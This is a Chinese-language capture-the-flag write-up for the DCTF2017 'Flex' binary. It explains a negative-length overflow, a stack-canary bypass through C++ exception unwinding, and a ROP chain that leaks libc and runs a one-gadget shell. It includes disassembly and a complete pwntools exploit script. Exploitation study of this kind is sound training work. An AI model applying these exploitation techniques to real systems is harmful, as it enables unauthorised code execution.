6.1.8 pwn DCTF2017 Flex

下载文件

题目复现

  1. $ file flex
  2. flex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30a1acbc98ccf9e8f4b3d1fc06b6ba6f0cbe7c9e, stripped
  3. $ checksec -f flex
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 flex

可以看到开启了 Canary,本题的关键就是利用某种神秘机制(C++异常处理机制)绕过它。

随便玩一下,了解程序的基本功能:

  1. $ ./flex
  2. 1.start flexmd5
  3. 2.start flexsha256
  4. 3.start flexsha1
  5. 4.test security
  6. 0 quit
  7. option:
  8. 1
  9. FlexMD5 bruteforce tool V0.1
  10. custom md5 state (yes/No)
  11. No
  12. custom charset (yes/No)
  13. yes
  14. charset length:
  15. 10
  16. charset:
  17. a
  18. bruteforce message pattern:
  19. aaaa

把程序跑起来:

  1. $ socat tcp4-listen:10001,reuseaddr,fork exec:./flex &

C++ 异常处理机制

  1. $ ldd flex
  2. linux-vdso.so.1 (0x00007ffcd837a000)
  3. libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f748fe72000)
  4. libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f748fc5b000)
  5. libc.so.6 => /usr/lib/libc.so.6 (0x00007f748f8a3000)
  6. libm.so.6 => /usr/lib/libm.so.6 (0x00007f748f557000)
  7. /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f74901f9000)

所以这个程序是一个 C 和 C++ 混合编译的,以便处理异常。

当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 _cxa_exception 就是头部,exception_obj。异常对象由函数 __cxa_allocate_exception() 进行创建,最后由 __cxa_free_exception() 进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情:

  1. 调用 __cxa_allocate_exception 函数,分配一个异常对象
  2. 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化
  3. __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind,unwind 分为两个阶段,分别进行搜索 catch 及清理调用栈
  4. _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine(__gxx_personality_v0
  5. 如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
  6. _Unwind_RaiseException() 将控制权转到相应的 catch 代码
  7. unwind 完成,用户代码继续执行

具体内容查看参考资料。

题目解析

程序的第四个选项很吸引人,但似乎没有发现什么突破点,而第一个选项可以输入的东西较多,问题应该在这里,查看该函数 sub.bruteforcing_start:_500

  1. [0x00400d80]> pdf @ sub.bruteforcing_start:_500
  2. / (fcn) sub.bruteforcing_start:_500 63
  3. | sub.bruteforcing_start:_500 ();
  4. | ; CALL XREF from 0x00402200 (main)
  5. | 0x00401500 55 push rbp
  6. | 0x00401501 4889e5 mov rbp, rsp
  7. | 0x00401504 4883ec10 sub rsp, 0x10
  8. | 0x00401508 e83bfcffff call sub.FlexMD5_bruteforce_tool_V0.1_148
  9. | 0x0040150d e87dfaffff call fcn.00400f8f
  10. | 0x00401512 bf4f464000 mov edi, str.bruteforcing_start: ; 0x40464f ; "bruteforcing start:"
  11. | 0x00401517 e8b4f6ffff call sym.imp.puts ; int puts(const char *s)
  12. | ; JMP XREF from 0x00401534 (sub.bruteforcing_start:_500)
  13. | .-> 0x0040151c e88cfeffff call sub.strlen_3ad ; size_t strlen(const char *s)
  14. | : 0x00401521 85c0 test eax, eax
  15. | : 0x00401523 0f94c0 sete al
  16. | : 0x00401526 84c0 test al, al
  17. | ,==< 0x00401528 740c je 0x401536
  18. | |: 0x0040152a bf01000000 mov edi, 1
  19. | |: 0x0040152f e83cf7ffff call sym.imp.sleep ; int sleep(int s)
  20. | |`=< 0x00401534 ebe6 jmp 0x40151c
  21. | | ; JMP XREF from 0x00401528 (sub.bruteforcing_start:_500)
  22. | | ; JMP XREF from 0x0040155d (sub.bruteforcing_start:_500 + 93)
  23. | `.-> 0x00401536 b800000000 mov eax, 0 ; 异常处理代码
  24. | ,==< 0x0040153b eb22 jmp 0x40155f
  25. |: 0x0040153d 4883fa01 cmp rdx, 1 ; 1 ; 如果成功捕获异常,则跳转到这里
  26. ,===< 0x00401541 7408 je 0x40154b ; 跳转
  27. ||: 0x00401543 4889c7 mov rdi, rax
  28. ||: 0x00401546 e8f5f7ffff call sym.imp._Unwind_Resume
  29. ||: ; JMP XREF from 0x00401541 (sub.bruteforcing_start:_500 + 65)
  30. `---> 0x0040154b 4889c7 mov rdi, rax
  31. |: 0x0040154e e8bdf7ffff call sym.imp.__cxa_begin_catch
  32. |: 0x00401553 8b00 mov eax, dword [rax]
  33. |: 0x00401555 8945fc mov dword [rbp - 4], eax
  34. |: 0x00401558 e8a3f7ffff call sym.imp.__cxa_end_catch
  35. |`=< 0x0040155d ebd7 jmp 0x401536 ; sub.bruteforcing_start:_500+0x36
  36. | | ; JMP XREF from 0x0040153b (sub.bruteforcing_start:_500)
  37. | `--> 0x0040155f c9 leave
  38. \ 0x00401560 c3 ret ; ret 到 payload_2

函数 sub.FlexMD5_bruteforce_tool_V0.1_148

  1. [0x00400d80]> pdf @ sub.FlexMD5_bruteforce_tool_V0.1_148
  2. / (fcn) sub.FlexMD5_bruteforce_tool_V0.1_148 613
  3. | sub.FlexMD5_bruteforce_tool_V0.1_148 ();
  4. | ; var int local_124h @ rbp-0x124
  5. | ; var int local_120h @ rbp-0x120
  6. | ; var int local_18h @ rbp-0x18
  7. | ; CALL XREF from 0x00401508 (sub.bruteforcing_start:_500)
  8. | 0x00401148 55 push rbp
  9. | 0x00401149 4889e5 mov rbp, rsp
  10. | 0x0040114c 53 push rbx
  11. | 0x0040114d 4881ec280100. sub rsp, 0x128
  12. | 0x00401154 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  13. | 0x0040115d 488945e8 mov qword [local_18h], rax
  14. | 0x00401161 31c0 xor eax, eax
  15. | 0x00401163 bf47454000 mov edi, str.FlexMD5_bruteforce_tool_V0.1 ; 0x404547 ; "FlexMD5 bruteforce tool V0.1"
  16. | 0x00401168 e863faffff call sym.imp.puts ; int puts(const char *s)
  17. | 0x0040116d bf64454000 mov edi, str.custom_md5_state__yes_No_ ; 0x404564 ; "custom md5 state (yes/No)"
  18. | 0x00401172 e859faffff call sym.imp.puts ; int puts(const char *s)
  19. | 0x00401177 488d85e0feff. lea rax, [local_120h]
  20. | 0x0040117e be04000000 mov esi, 4
  21. | 0x00401183 4889c7 mov rdi, rax
  22. | 0x00401186 e8ebfcffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
  23. | 0x0040118b 488d85e0feff. lea rax, [local_120h]
  24. | 0x00401192 ba03000000 mov edx, 3
  25. | 0x00401197 be7e454000 mov esi, 0x40457e ; "yes"
  26. | 0x0040119c 4889c7 mov rdi, rax
  27. | 0x0040119f e85cfaffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
  28. | 0x004011a4 85c0 test eax, eax
  29. | ,=< 0x004011a6 755e jne 0x401206
  30. | | 0x004011a8 c705f24f2000. mov dword [0x006061a4], 1 ; [0x6061a4:4]=0
  31. | | 0x004011b2 bf82454000 mov edi, str.initial_state_0_: ; 0x404582 ; "initial state[0]:"
  32. | | 0x004011b7 e814faffff call sym.imp.puts ; int puts(const char *s)
  33. | | 0x004011bc e884fdffff call sub.atoi_f45 ; int atoi(const char *str)
  34. | | 0x004011c1 8905e94f2000 mov dword [0x006061b0], eax ; [0x6061b0:4]=0
  35. | | 0x004011c7 bf94454000 mov edi, str.initial_state_1_: ; 0x404594 ; "initial state[1]:"
  36. | | 0x004011cc e8fff9ffff call sym.imp.puts ; int puts(const char *s)
  37. | | 0x004011d1 e86ffdffff call sub.atoi_f45 ; int atoi(const char *str)
  38. | | 0x004011d6 8905d84f2000 mov dword [0x006061b4], eax ; [0x6061b4:4]=0
  39. | | 0x004011dc bfa6454000 mov edi, str.initial_state_2_: ; 0x4045a6 ; "initial state[2]:"
  40. | | 0x004011e1 e8eaf9ffff call sym.imp.puts ; int puts(const char *s)
  41. | | 0x004011e6 e85afdffff call sub.atoi_f45 ; int atoi(const char *str)
  42. | | 0x004011eb 8905c74f2000 mov dword [0x006061b8], eax ; [0x6061b8:4]=0
  43. | | 0x004011f1 bfb8454000 mov edi, str.initial_state_3_: ; 0x4045b8 ; "initial state[3]:"
  44. | | 0x004011f6 e8d5f9ffff call sym.imp.puts ; int puts(const char *s)
  45. | | 0x004011fb e845fdffff call sub.atoi_f45 ; int atoi(const char *str)
  46. | | 0x00401200 8905b64f2000 mov dword [0x006061bc], eax ; [0x6061bc:4]=0
  47. | | ; JMP XREF from 0x004011a6 (sub.FlexMD5_bruteforce_tool_V0.1_148)
  48. | `-> 0x00401206 bfca454000 mov edi, str.custom_charset__yes_No_ ; 0x4045ca ; "custom charset (yes/No)"
  49. | 0x0040120b e8c0f9ffff call sym.imp.puts ; int puts(const char *s)
  50. | 0x00401210 488d85e0feff. lea rax, [local_120h]
  51. | 0x00401217 be04000000 mov esi, 4
  52. | 0x0040121c 4889c7 mov rdi, rax
  53. | 0x0040121f e852fcffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
  54. | 0x00401224 488d85e0feff. lea rax, [local_120h]
  55. | 0x0040122b ba03000000 mov edx, 3
  56. | 0x00401230 be7e454000 mov esi, 0x40457e ; "yes"
  57. | 0x00401235 4889c7 mov rdi, rax
  58. | 0x00401238 e8c3f9ffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
  59. | 0x0040123d 85c0 test eax, eax
  60. | ,=< 0x0040123f 0f858a000000 jne 0x4012cf
  61. | | 0x00401245 c705554f2000. mov dword [0x006061a4], 1 ; [0x6061a4:4]=0
  62. | | 0x0040124f bfe2454000 mov edi, str.charset_length: ; 0x4045e2 ; "charset length:"
  63. | | 0x00401254 e877f9ffff call sym.imp.puts ; int puts(const char *s)
  64. | | 0x00401259 e8e7fcffff call sub.atoi_f45 ; int atoi(const char *str) ; 读入字符串并转换成整型数
  65. | | 0x0040125e 8905ac4e2000 mov dword [0x00606110], eax ; [0x606110:4]=62
  66. | | 0x00401264 8b05a64e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62
  67. | | 0x0040126a 3d00010000 cmp eax, 0x100 ; 256 ; 比较大小
  68. | ,==< 0x0040126f 7e22 jle 0x401293 ; eax < 256 时跳转 ; 这里我们输入一个负数即可成功跳转
  69. | || 0x00401271 bf04000000 mov edi, 4
  70. | || 0x00401276 e855faffff call sym.imp.__cxa_allocate_exception
  71. | || 0x0040127b c70002000000 mov dword [rax], 2
  72. | || 0x00401281 ba00000000 mov edx, 0
  73. | || 0x00401286 be70616000 mov esi, obj.typeinfoforint ; 0x606170
  74. | || 0x0040128b 4889c7 mov rdi, rax
  75. | || 0x0040128e e85dfaffff call sym.imp.__cxa_throw
  76. | || ; JMP XREF from 0x0040126f (sub.FlexMD5_bruteforce_tool_V0.1_148)
  77. | `--> 0x00401293 bff2454000 mov edi, str.charset: ; 0x4045f2 ; "charset:"
  78. | | 0x00401298 e833f9ffff call sym.imp.puts ; int puts(const char *s)
  79. | | 0x0040129d 8b056d4e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62 ; 取出数字
  80. | | 0x004012a3 83c001 add eax, 1 ; eax += 1
  81. | | 0x004012a6 89c2 mov edx, eax
  82. | | 0x004012a8 488d85e0feff. lea rax, [local_120h]
  83. | | 0x004012af 89d6 mov esi, edx
  84. | | 0x004012b1 4889c7 mov rdi, rax
  85. | | 0x004012b4 e8bdfbffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 该函数内调用 read(0, [local_120h], esi) 读入我们的 payload_1,由于esi是一个负数,而 0x00400ea8 jae 0x400ef3 处是与一个非负数比较,永远不会相等,即可以读入以换行符结尾的任意数量字符
  86. | | 0x004012b9 488d85e0feff. lea rax, [local_120h]
  87. | | 0x004012c0 4889c7 mov rdi, rax
  88. | | 0x004012c3 e8e8f9ffff call sym.imp.strdup ; char *strdup(const char *src) ; 在堆中复制一个字符串的副本
  89. | | 0x004012c8 488905494e20. mov qword str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, rax ; [0x606118:8]=0x404508 str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
  90. | | ; JMP XREF from 0x0040123f (sub.FlexMD5_bruteforce_tool_V0.1_148)
  91. | `-> 0x004012cf bffb454000 mov edi, str.bruteforce_message_pattern: ; 0x4045fb ; "bruteforce message pattern:"
  92. | 0x004012d4 e8f7f8ffff call sym.imp.puts ; int puts(const char *s)
  93. | 0x004012d9 be00040000 mov esi, 0x400 ; 1024
  94. | 0x004012de bfc0616000 mov edi, 0x6061c0
  95. | 0x004012e3 e836fcffff call sub.read_f1e ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 调用 read(0, 0x6061c0, 0x400) 读入 payload_2
  96. | 0x004012e8 bfc0616000 mov edi, 0x6061c0
  97. | 0x004012ed e85ef9ffff call sym.imp.strlen ; size_t strlen(const char *s)
  98. | 0x004012f2 8905a84e2000 mov dword [0x006061a0], eax ; [0x6061a0:4]=0
  99. | 0x004012f8 c785dcfeffff. mov dword [local_124h], 0
  100. | ; JMP XREF from 0x00401334 (sub.FlexMD5_bruteforce_tool_V0.1_148)
  101. | .-> 0x00401302 8b85dcfeffff mov eax, dword [local_124h]
  102. | : 0x00401308 4863d8 movsxd rbx, eax ; 将 rbx 初始化为 0
  103. | : 0x0040130b bfc0616000 mov edi, 0x6061c0 ; paylaod_2 的地址
  104. | : 0x00401310 e83bf9ffff call sym.imp.strlen ; size_t strlen(const char *s)
  105. | : 0x00401315 4839c3 cmp rbx, rax ; 比较 rbx 和 rax,rax 是字符串长度返回值
  106. | ,==< 0x00401318 731d jae 0x401337 ; 相等时跳转
  107. | |: 0x0040131a 8b85dcfeffff mov eax, dword [local_124h]
  108. | |: 0x00401320 4898 cdqe
  109. | |: 0x00401322 0fb680c06160. movzx eax, byte [rax + 0x6061c0] ; [0x6061c0:1]=0
  110. | |: 0x00401329 3c2e cmp al, 0x2e ; '.' ; 46
  111. | ,===< 0x0040132b 7409 je 0x401336
  112. | ||: 0x0040132d 8385dcfeffff. add dword [local_124h], 1 ; rbx += 1
  113. | ||`=< 0x00401334 ebcc jmp 0x401302
  114. | || ; JMP XREF from 0x0040132b (sub.FlexMD5_bruteforce_tool_V0.1_148)
  115. | `---> 0x00401336 90 nop
  116. | | ; JMP XREF from 0x00401318 (sub.FlexMD5_bruteforce_tool_V0.1_148)
  117. | `--> 0x00401337 8b85dcfeffff mov eax, dword [local_124h]
  118. | 0x0040133d 4863d8 movsxd rbx, eax
  119. | 0x00401340 bfc0616000 mov edi, 0x6061c0
  120. | 0x00401345 e806f9ffff call sym.imp.strlen ; size_t strlen(const char *s)
  121. | 0x0040134a 4839c3 cmp rbx, rax ; 比较 rbx rax
  122. | ,=< 0x0040134d 7522 jne 0x401371 ; 如果相等,则进入异常处理机制,利用该机制可 leave;ret payload_2
  123. | | 0x0040134f bf04000000 mov edi, 4 ; 参数 edi = 4
  124. | | 0x00401354 e877f9ffff call sym.imp.__cxa_allocate_exception ; 创建异常对象,返回对象地址 rax
  125. | | 0x00401359 c70000000000 mov dword [rax], 0 ; 初始化为 0
  126. | | 0x0040135f ba00000000 mov edx, 0 ; 参数 edx = 0
  127. | | 0x00401364 be70616000 mov esi, obj.typeinfoforint ; 0x606170 ; 参数 esi = 0x606170
  128. | | 0x00401369 4889c7 mov rdi, rax ; 参数 rdi = rax
  129. | | 0x0040136c e87ff9ffff call sym.imp.__cxa_throw ; 对异常对象做一些初始化,这里会跳转到 0x0040153d
  130. | | ; JMP XREF from 0x0040134d (sub.FlexMD5_bruteforce_tool_V0.1_148)
  131. | `-> 0x00401371 bf17464000 mov edi, str.md5_pattern: ; 0x404617 ; "md5 pattern:"
  132. | 0x00401376 e855f8ffff call sym.imp.puts ; int puts(const char *s)
  133. | 0x0040137b be21000000 mov esi, 0x21 ; '!' ; 33
  134. | 0x00401380 bfc0656000 mov edi, 0x6065c0
  135. | 0x00401385 e8ecfaffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
  136. | 0x0040138a b800000000 mov eax, 0
  137. | 0x0040138f 488b4de8 mov rcx, qword [local_18h]
  138. | 0x00401393 6448330c2528. xor rcx, qword fs:[0x28]
  139. | ,=< 0x0040139c 7405 je 0x4013a3
  140. | | 0x0040139e e81df9ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  141. | | ; JMP XREF from 0x0040139c (sub.FlexMD5_bruteforce_tool_V0.1_148)
  142. | `-> 0x004013a3 4881c4280100. add rsp, 0x128
  143. | 0x004013aa 5b pop rbx
  144. | 0x004013ab 5d pop rbp
  145. \ 0x004013ac c3 ret

函数 sub.atoi_f45 将字符串转换成长整型数:

  1. [0x00400d80]> pdf @ sub.atoi_f45
  2. / (fcn) sub.atoi_f45 74
  3. | sub.atoi_f45 ();
  4. | ; var int local_20h @ rbp-0x20
  5. | ; var int local_8h @ rbp-0x8
  6. | ; XREFS: CALL 0x004021f2 CALL 0x004011bc CALL 0x004011d1 CALL 0x004011e6 CALL 0x004011fb CALL 0x00401259 CALL 0x004015d9 CALL 0x00402136
  7. | 0x00400f45 55 push rbp
  8. | 0x00400f46 4889e5 mov rbp, rsp
  9. | 0x00400f49 4883ec20 sub rsp, 0x20
  10. | 0x00400f4d 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  11. | 0x00400f56 488945f8 mov qword [local_8h], rax
  12. | 0x00400f5a 31c0 xor eax, eax
  13. | 0x00400f5c 488d45e0 lea rax, [local_20h]
  14. | 0x00400f60 be0b000000 mov esi, 0xb ; 11
  15. | 0x00400f65 4889c7 mov rdi, rax
  16. | 0x00400f68 e809ffffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
  17. | 0x00400f6d 488d45e0 lea rax, [local_20h] ; local_20h 指向读入的字符串
  18. | 0x00400f71 4889c7 mov rdi, rax ; rdi = rax
  19. | 0x00400f74 e807fdffff call sym.imp.atoi ; int atoi(const char *str) ; 将字符串转换成长整型
  20. | 0x00400f79 488b55f8 mov rdx, qword [local_8h]
  21. | 0x00400f7d 644833142528. xor rdx, qword fs:[0x28]
  22. | ,=< 0x00400f86 7405 je 0x400f8d
  23. | | 0x00400f88 e833fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  24. | | ; JMP XREF from 0x00400f86 (sub.atoi_f45)
  25. | `-> 0x00400f8d c9 leave
  26. \ 0x00400f8e c3 ret

可以看到该函数并未对所输入的数字进行验证,所以我们可以输入负数,因为计算机中数字是以补码的形式存在,例如 -2 = 0xfffffffffffffffe。这个数字加 1 后,作为读入字符串个数的判定,因为个数不能为负,我们就可以开心地读入后面的 payload 了。

这个程序中读入操作使用函数 sub.read_e76,该函数内部有一个循环,每次读入一个字符,如果遇到换行符,则完成退出。

  1. [0x00400d80]> pdf @ sub.read_e76
  2. / (fcn) sub.read_e76 168
  3. | sub.read_e76 ();
  4. | ; var int local_1ch @ rbp-0x1c
  5. | ; var int local_18h @ rbp-0x18
  6. | ; var int local_dh @ rbp-0xd
  7. | ; var int local_ch @ rbp-0xc
  8. | ; var int local_8h @ rbp-0x8
  9. | ; XREFS: CALL 0x00400f68 CALL 0x00401186 CALL 0x0040121f CALL 0x004012b4 CALL 0x00401385 CALL 0x0040159f CALL 0x00401634 CALL 0x00401663
  10. | ; XREFS: CALL 0x00401705 CALL 0x00401d4f
  11. | 0x00400e76 55 push rbp
  12. | 0x00400e77 4889e5 mov rbp, rsp
  13. | 0x00400e7a 4883ec20 sub rsp, 0x20
  14. | 0x00400e7e 48897de8 mov qword [local_18h], rdi
  15. | 0x00400e82 8975e4 mov dword [local_1ch], esi
  16. | 0x00400e85 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
  17. | 0x00400e8e 488945f8 mov qword [local_8h], rax
  18. | 0x00400e92 31c0 xor eax, eax
  19. | 0x00400e94 c745f4000000. mov dword [local_ch], 0
  20. | 0x00400e9b c745f4000000. mov dword [local_ch], 0
  21. | ; JMP XREF from 0x00400ef1 (sub.read_e76)
  22. | .-> 0x00400ea2 8b45f4 mov eax, dword [local_ch] ; 循环起点,local_ch 存放已输入字符数量
  23. | : 0x00400ea5 3b45e4 cmp eax, dword [local_1ch] ; 允许读入的数量
  24. | ,==< 0x00400ea8 7349 jae 0x400ef3 ; 相等时跳转 (当读入payload_!时,由于我们输入的是一个负数,而 eax 是非负数,永远不会相等)
  25. | |: 0x00400eaa 488d45f3 lea rax, [local_dh]
  26. | |: 0x00400eae ba01000000 mov edx, 1 ; nbyte = 1
  27. | |: 0x00400eb3 4889c6 mov rsi, rax ; buf = rsi = [local_dh]
  28. | |: 0x00400eb6 bf00000000 mov edi, 0 ; fildes = edi = 0
  29. | |: 0x00400ebb e830fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 每次读入 1 个字符
  30. | |: 0x00400ec0 0fb645f3 movzx eax, byte [local_dh] ; 取出输入字符
  31. | |: 0x00400ec4 3c0a cmp al, 0xa ; 10 ; 比较输入字符是不是 '\n'
  32. | ,===< 0x00400ec6 7515 jne 0x400edd ; 不是则跳转
  33. | ||: 0x00400ec8 8b55f4 mov edx, dword [local_ch]
  34. | ||: 0x00400ecb 488b45e8 mov rax, qword [local_18h]
  35. | ||: 0x00400ecf 4801d0 add rax, rdx ; '('
  36. | ||: 0x00400ed2 c60000 mov byte [rax], 0
  37. | ||: 0x00400ed5 8b45f4 mov eax, dword [local_ch]
  38. | ||: 0x00400ed8 83c001 add eax, 1
  39. | ,====< 0x00400edb eb2b jmp 0x400f08
  40. | |||: ; JMP XREF from 0x00400ec6 (sub.read_e76)
  41. | |`---> 0x00400edd 8b55f4 mov edx, dword [local_ch] ; 取出字符数量
  42. | | |: 0x00400ee0 488b45e8 mov rax, qword [local_18h] ; local_18h 为目标初始地址
  43. | | |: 0x00400ee4 4801c2 add rdx, rax ; '#' ; rdx 指向目标地址
  44. | | |: 0x00400ee7 0fb645f3 movzx eax, byte [local_dh] ; 取出读入字符
  45. | | |: 0x00400eeb 8802 mov byte [rdx], al ; 将读入字符存放到 [rdx]
  46. | | |: 0x00400eed 8345f401 add dword [local_ch], 1 ; local_ch += 1
  47. | | |`=< 0x00400ef1 ebaf jmp 0x400ea2 ; 循环,继续读入字符
  48. | | | ; JMP XREF from 0x00400ea8 (sub.read_e76)
  49. | | `--> 0x00400ef3 8b45e4 mov eax, dword [local_1ch]
  50. | | 0x00400ef6 83e801 sub eax, 1
  51. | | 0x00400ef9 89c2 mov edx, eax
  52. | | 0x00400efb 488b45e8 mov rax, qword [local_18h]
  53. | | 0x00400eff 4801d0 add rax, rdx ; '('
  54. | | 0x00400f02 c60000 mov byte [rax], 0
  55. | | 0x00400f05 8b45f4 mov eax, dword [local_ch]
  56. | | ; JMP XREF from 0x00400edb (sub.read_e76)
  57. | `----> 0x00400f08 488b4df8 mov rcx, qword [local_8h] ; 读完字符串,跳出循环
  58. | 0x00400f0c 6448330c2528. xor rcx, qword fs:[0x28]
  59. | ,=< 0x00400f15 7405 je 0x400f1c
  60. | | 0x00400f17 e8a4fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  61. | | ; JMP XREF from 0x00400f15 (sub.read_e76)
  62. | `-> 0x00400f1c c9 leave
  63. \ 0x00400f1d c3 ret

分析完了,接下来就写 exp 吧。

漏洞利用

stack pivot

0x004012b4 下断点,以检查溢出点:

  1. gdb-peda$ x/s $rbp
  2. 0x7fffffffe3f0: "5A%KA%gA%6A%"
  3. gdb-peda$ pattern_offset 5A%KA%gA%6A%
  4. 5A%KA%gA%6A% found at offset: 288

所以缓冲区的长度为 288 / 8 = 36。利用缓冲区溢出覆盖掉 rbp,在异常处理过程中,unwind 例程向上一级一级地找异常处理函数,然后恢复相关数据,这样就将栈转移到了新地址:

  1. # stack pivot
  2. payload_1 = "AAAAAAAA" * 36
  3. payload_1 += p64(pivote_addr)
  4. payload_1 += p64(unwind_addr)

unwind_addr 必须是调用函数里的一个地址,这样抛出的异常才能被调用函数内的异常处理函数 catch。

get puts address

异常处理函数结束后,执行下面两句:

  1. | `--> 0x0040155f c9 leave
  2. \ 0x00401560 c3 ret ; ret 到 payload_2

通常情况下我们构造 rop 调用 read() 读入 one-gadget 来获得 shell,但可用的 gadget 只能控制 rdi 和 rsi,而不能控制 rdx。所以必须通过函数 sub.read_f1e 来做到这一点。

  1. $ ropgadget --binary flex --only "pop|ret"
  2. ...
  3. 0x00000000004044d3 : pop rdi ; ret
  4. 0x00000000004044d1 : pop rsi ; pop r15 ; ret
  1. [0x00400d80]> pdf @ sub.read_f1e
  2. / (fcn) sub.read_f1e 39
  3. | sub.read_f1e ();
  4. | ; var int local_10h @ rbp-0x10
  5. | ; var int local_8h @ rbp-0x8
  6. | ; CALL XREF from 0x004012e3 (sub.FlexMD5_bruteforce_tool_V0.1_148)
  7. | 0x00400f1e 55 push rbp
  8. | 0x00400f1f 4889e5 mov rbp, rsp
  9. | 0x00400f22 4883ec10 sub rsp, 0x10
  10. | 0x00400f26 48897df8 mov qword [local_8h], rdi
  11. | 0x00400f2a 488975f0 mov qword [local_10h], rsi
  12. | 0x00400f2e 488b55f0 mov rdx, qword [local_10h] ; rdx = 传入的 rsi
  13. | 0x00400f32 488b45f8 mov rax, qword [local_8h]
  14. | 0x00400f36 4889c6 mov rsi, rax ; rsi = 传入的 rdi
  15. | 0x00400f39 bf00000000 mov edi, 0 ; fildes = 0
  16. | 0x00400f3e e8adfcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  17. | 0x00400f43 c9 leave
  18. \ 0x00400f44 c3 ret

构造 paylode_2 打印出 puts 的地址,并调用 read_f1e 读入 payload_3 到 pivote_addr + 0x50 的位置:

  1. # get puts address
  2. payload_2 = "AAAAAAAA"
  3. payload_2 += p64(pop_rdi)
  4. payload_2 += p64(puts_got)
  5. payload_2 += p64(puts_plt)
  6. payload_2 += p64(pop_rdi)
  7. payload_2 += p64(pivote_addr + 0x50)
  8. payload_2 += p64(pop_rsi_r15)
  9. payload_2 += p64(8)
  10. payload_2 += "AAAAAAAA"
  11. payload_2 += p64(read_f1e)
  12. io.sendline(payload_2)
  13. io.recvuntil("pattern:\n")
  14. puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
  15. puts_addr = u64(puts_addr)

get shell

找到 libc 的 do_system 函数里的 one-gadget 地址为 0x00041ee7

  1. | 0x00041ee7 488b056aff36. mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0
  2. | 0x00041eee 488d3d409313. lea rdi, str._bin_sh ; 0x17b235 ; "/bin/sh"
  3. | 0x00041ef5 c70521253700. mov dword [obj.lock_4], 0 ; [0x3b4420:4]=0
  4. | 0x00041eff c7051b253700. mov dword [obj.sa_refcntr], 0 ; [0x3b4424:4]=0
  5. | 0x00041f09 488d742430 lea rsi, [local_30h] ; sym.lm_cache ; 0x30
  6. | 0x00041f0e 488b10 mov rdx, qword [rax]
  7. | 0x00041f11 67e8c9260800 call sym.execve

通过泄露出的 puts 地址,计算符号偏移得到 one-gadget 地址,构造 payload_3:

  1. libc_base = puts_addr - libc.symbols['puts']
  2. one_gadget = libc_base + 0x00041ee7
  3. # get shell
  4. payload_3 = p64(one_gadget)

Bingo!!!

  1. $ python2 exp.py
  2. [+] Opening connection to 127.0.0.1 on port 10001: Done
  3. [*] Switching to interactive mode
  4. $ whoami
  5. firmy

exploit

完整的 exp 如下:

  1. from pwn import *
  2. io = remote('127.0.0.1', 10001)
  3. libc = ELF('/usr/lib/libc-2.26.so')
  4. io.recvuntil("option:\n")
  5. io.sendline("1")
  6. io.recvuntil("(yes/No)")
  7. io.sendline("No")
  8. io.recvuntil("(yes/No)")
  9. io.sendline("yes")
  10. io.recvuntil("length:")
  11. io.sendline('-3')
  12. io.recvuntil("charset:")
  13. puts_plt = 0x00400bD0
  14. puts_got = 0x00606020
  15. read_f1e = 0x00400f1e
  16. pop_rdi = 0x004044d3 # pop rdi ; ret
  17. pop_rsi_r15 = 0x004044d1 # pop rsi ; pop r15 ; ret
  18. pivote_addr = 0x6061C0
  19. unwind_addr = 0x00401509 # make sure unwind can find the catch routine
  20. # stack pivot
  21. payload_1 = "AAAAAAAA" * 36
  22. payload_1 += p64(pivote_addr)
  23. payload_1 += p64(unwind_addr)
  24. io.sendline(payload_1)
  25. io.recvuntil("\n")
  26. # get puts address
  27. payload_2 = "AAAAAAAA" # fake ebp
  28. payload_2 += p64(pop_rdi)
  29. payload_2 += p64(puts_got)
  30. payload_2 += p64(puts_plt)
  31. payload_2 += p64(pop_rdi)
  32. payload_2 += p64(pivote_addr + 0x50)
  33. payload_2 += p64(pop_rsi_r15)
  34. payload_2 += p64(8)
  35. payload_2 += "AAAAAAAA"
  36. payload_2 += p64(read_f1e)
  37. io.sendline(payload_2)
  38. io.recvuntil("pattern:\n")
  39. puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
  40. puts_addr = u64(puts_addr)
  41. libc_base = puts_addr - libc.symbols['puts']
  42. one_gadget = libc_base + 0x00041ee7
  43. # get shell
  44. payload_3 = p64(one_gadget)
  45. io.sendline(payload_3)
